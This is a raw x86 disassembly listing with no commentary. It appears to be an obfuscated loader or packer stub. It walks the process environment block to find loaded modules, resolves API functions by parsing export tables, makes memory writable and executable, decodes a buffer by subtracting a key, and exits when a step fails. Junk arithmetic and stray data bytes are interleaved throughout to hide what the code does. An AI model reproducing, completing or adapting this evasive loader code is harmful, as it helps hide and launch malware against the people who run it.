xor eax, 0x6e7
pop eax
cmp dword [ebp - 0x710], 0
jne 0x4869a0
push edx
xor edx, 0xbf92
pop edx
push esi
xor esi, 0x5e9f
or esi, 0xbc0
add esi, 0xd02e
pop esi
push ecx
jmp 0x486985
pop ecx
push eax
jmp 0x486990
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x4874c8
push edi
push edi
add esp, 4
sub edi, 0x6d30
pop edi
push ebx
and ebx, 0x4c44
pop ebx
push ecx
push edi
add esp, 4
add ecx, 0xc1ba
or ecx, 0xd3af
add ecx, 0xb2bf
and ecx, 0xd29d
pop ecx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x486a11
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x486d02
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x486a39
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x486d02
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x486a6b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x486d02
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x486a90
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x486d02
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x486aea
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x486cf6
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x486b5a
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x486c0c
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x486c0c
push edx
push esi
add esp, 4
jmp 0x486b94
pop edx
push esi
jmp 0x486b9c
xor esi, 0xf782
pop esi
push ebx
sub ebx, 0x4668
sub ebx, 0x159d
pop ebx
push ecx
or ecx, 0x1056c
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x486bfe
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x486c05
jmp 0x486b4b
jmp 0x486c0c
push ebx
xor ebx, 0xd0f6
pop ebx
push eax
xor eax, 0x8823
pop eax
push esi
and esi, 0x4a16
sub esi, 0x133bc
pop esi
push edi
sub edi, 0x857a
pop edi
push edi
push ebx
add esp, 4
add edi, 0x162fd
pop edi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x486c6b
mov dword [ebp - 0xc5c], 0
jmp 0x486cda
push esi
and esi, 0x1556d
xor esi, 0xe12f
or esi, 0x118d5
xor esi, 0xa688
pop esi
push ebx
push edx
add esp, 4
jmp 0x486c93
jmp 0x486c9c
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x486cd0
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x486cda
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x486cf1
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x486d02
jmp 0x486adb
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x486ddd
push eax
call 0x486d1f
add byte [esi], dh
xor al, 0x35
inc edx
xor al, byte [ebp + 0x42]
inc ecx
add esp, 4
add eax, 0x55a
sub eax, 0x897f
sub eax, 0x12c42
pop eax
push eax
push ecx
add esp, 4
add eax, 0x50b0
pop eax
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
add edx, 0x1066c
and edx, 0x1c31
pop edx
push edx
jmp 0x486d64
and edx, 0x75a2
xor edx, 0x2d99
or edx, 0x10109
pop edx
push edi
or edi, 0x1129d
pop edi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x486ddd
push esi
push esi
add esp, 4
sub esi, 0x36bb
and esi, 0x4551
pop esi
push esi
push edx
add esp, 4
sub esi, 0xb193
pop esi
push eax
xor eax, 0xfd65
xor eax, 0x83da
or eax, 0x13b37
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x4874c8
push ecx
jmp 0x486de5
pop ecx
push ebx
push esi
add esp, 4
and ebx, 0x8047
or ebx, 0x7d59
or ebx, 0xe0b8
jmp 0x486e03
pop ebx
push eax
jmp 0x486e0e
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ecx
add ecx, 0xe7fd
call 0x486e4d
add byte [ecx + 0x48], cl
cmp eax, 0x404d4d47
aas
inc esi
add esp, 4
or ecx, 0x168e0
call 0x486e65
add byte [edx + 0x4f], cl
cmp eax, 0x444c3d4c
dec edi
inc esi
add esp, 4
pop ecx
cmp dword [ebp - 0x1574], 0
jne 0x486e81
mov dword [ebp - 0x2a8], 0
jmp 0x487128
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push eax
push ecx
add esp, 4
and eax, 0x126a4
or eax, 0x18588
pop eax
push eax
push edx
add esp, 4
jmp 0x486eb2
xor eax, 0xe622
and eax, 0x9e71
xor eax, 0x1645b
pop eax
cmp dword [ebp - 0xc68], 0
jne 0x486edd
mov dword [ebp - 0x2a8], 0
jmp 0x487128
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push esi
push ebx
add esp, 4
or esi, 0xc06d
pop esi
push eax
push ecx
add esp, 4
jmp 0x486f02
pop eax
push ebx
push eax
add esp, 4
and ebx, 0xabde
pop ebx
push esi
push ecx
add esp, 4
and esi, 0x7e69
pop esi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push eax
push ecx
add esp, 4
add eax, 0x25e3
jmp 0x486f58
pop eax
push esi
push esi
add esp, 4
and esi, 0xd841
pop esi
push edi
push ecx
add esp, 4
and edi, 0x6007
and edi, 0xcb6b
pop edi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push eax
push esi
add esp, 4
add eax, 0x26f6
add eax, 0x12a55
sub eax, 0x17772
pop eax
push edi
or edi, 0xa70e
and edi, 0x2cf4
and edi, 0x10fd1
sub edi, 0x12e9f
pop edi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x48701d
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x487077
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x486f45
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x486f45
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x487061
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x48706b
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x4870c0
push ecx
push edx
add esp, 4
xor ecx, 0x86f1
xor ecx, 0x5ed1
add ecx, 0x11718
and ecx, 0xf85
pop ecx
push eax
add eax, 0x12322
and eax, 0xfff
and eax, 0x104ac
pop eax
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x487128
push ecx
and ecx, 0x5156
xor ecx, 0x5db
call 0x4870dc
add byte [0x4d3c4339], bh
inc eax
xor al, 0x41
push eax
add esp, 4
pop ecx
push edi
push ecx
add esp, 4
or edi, 0x3935
or edi, 0x162bb
pop edi
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x48711e
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x486ee9
mov dword [ebp - 0x2a8], 0
push esi
xor esi, 0x10aa9
pop esi
push edi
push ecx
add esp, 4
xor edi, 0x12dab
or edi, 0x15971
and edi, 0x7216
or edi, 0x16ab3
pop edi
push edi
push ebx
add esp, 4
and edi, 0xee42
pop edi
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ebx
push edi
add esp, 4
jmp 0x487174
xor ebx, 0x816f
pop ebx
push edx
push esi
add esp, 4
or edx, 0x15b3e
xor edx, 0x14596
jmp 0x487192
pop edx
push ebx
or ebx, 0x12ceb
pop ebx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x4871cb
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x4874bc
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x4871f3
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x4874bc
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x487225
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x4874bc
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x48724a
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x4874bc
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x4872a4
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x4874b0
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x487314
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4873c6
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x4873c6
push ecx
push eax
add esp, 4
sub ecx, 0x3e96
pop ecx
push ebx
xor ebx, 0x44de
pop ebx
push esi
push ecx
add esp, 4
and esi, 0x14b44
xor esi, 0x230
xor esi, 0xafb6
xor esi, 0x1618c
pop esi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x4873b8
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x4873bf
jmp 0x487305
jmp 0x4873c6
push eax
push ecx
add esp, 4
add eax, 0x133a4
jmp 0x4873d7
jmp 0x4873dd
pop eax
push ebx
or ebx, 0x682f
add ebx, 0x14387
add ebx, 0x3762
sub ebx, 0x5013
pop ebx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x487425
mov dword [ebp - 0xc6c], 0
jmp 0x487494
push eax
add eax, 0x172b1
call 0x48743b
add byte [edi + 0x4d], al
xor eax, 0x443e504d
dec esp
add esp, 4
add eax, 0x14284
pop eax
push ecx
push ecx
add esp, 4
xor ecx, 0x327b
xor ecx, 0x38
pop ecx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x48748a
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x487494
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x4874ab
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x4874bc
jmp 0x487295
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push eax
push edx
add esp, 4
sub eax, 0x81c
add eax, 0x13060
pop eax
push edx
push esi
add esp, 4
sub edx, 0x6f3a
or edx, 0x6eb4
pop edx
push ecx
or ecx, 0xab58
sub ecx, 0x162ee
pop ecx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x48756d
push eax
push eax
add esp, 4
or eax, 0x10c59
jmp 0x487537
jmp 0x48753e
pop eax
push edi
and edi, 0x7686
or edi, 0x767e
pop edi
push eax
push eax
add esp, 4
xor eax, 0x173a2
pop eax
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x48758a
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x4875e6
push edi
push ebx
add esp, 4
call 0x4875ac
add byte [ebx + 0x3b], al
dec eax
inc edx
inc edx
dec edi
cmp dword [eax + 0x3f], ecx
add esp, 4
pop edi
push esi
sub esi, 0x143c4
and esi, 0xfa92
sub esi, 0x78c3
and esi, 0xec7b
pop esi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x48757b
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x48765e
push esi
jmp 0x48761f
call 0x48762d
add byte [ecx + 0x33], al
dec ebx
dec ebx
cmp esi, dword [edx]
xor eax, 0x4c4834c
call 0x487640
add byte [eax + 0x32], cl
inc edx
inc esp
cmp al, byte [esi + 0x38]
inc edx
dec edx
cmp al, byte [ebx - 0x197efb3c]
bound esi, qword [ebx]
add byte [eax], al
pop esi
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push esi
push esi
add esp, 4
jmp 0x48766c
pop esi
push eax
sub eax, 0x163fb
pop eax
push edx
push ebx
add esp, 4
sub edx, 0x89c4
jmp 0x487689
add edx, 0xad43
pop edx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff09ff
pop ecx
pop ebx
hlt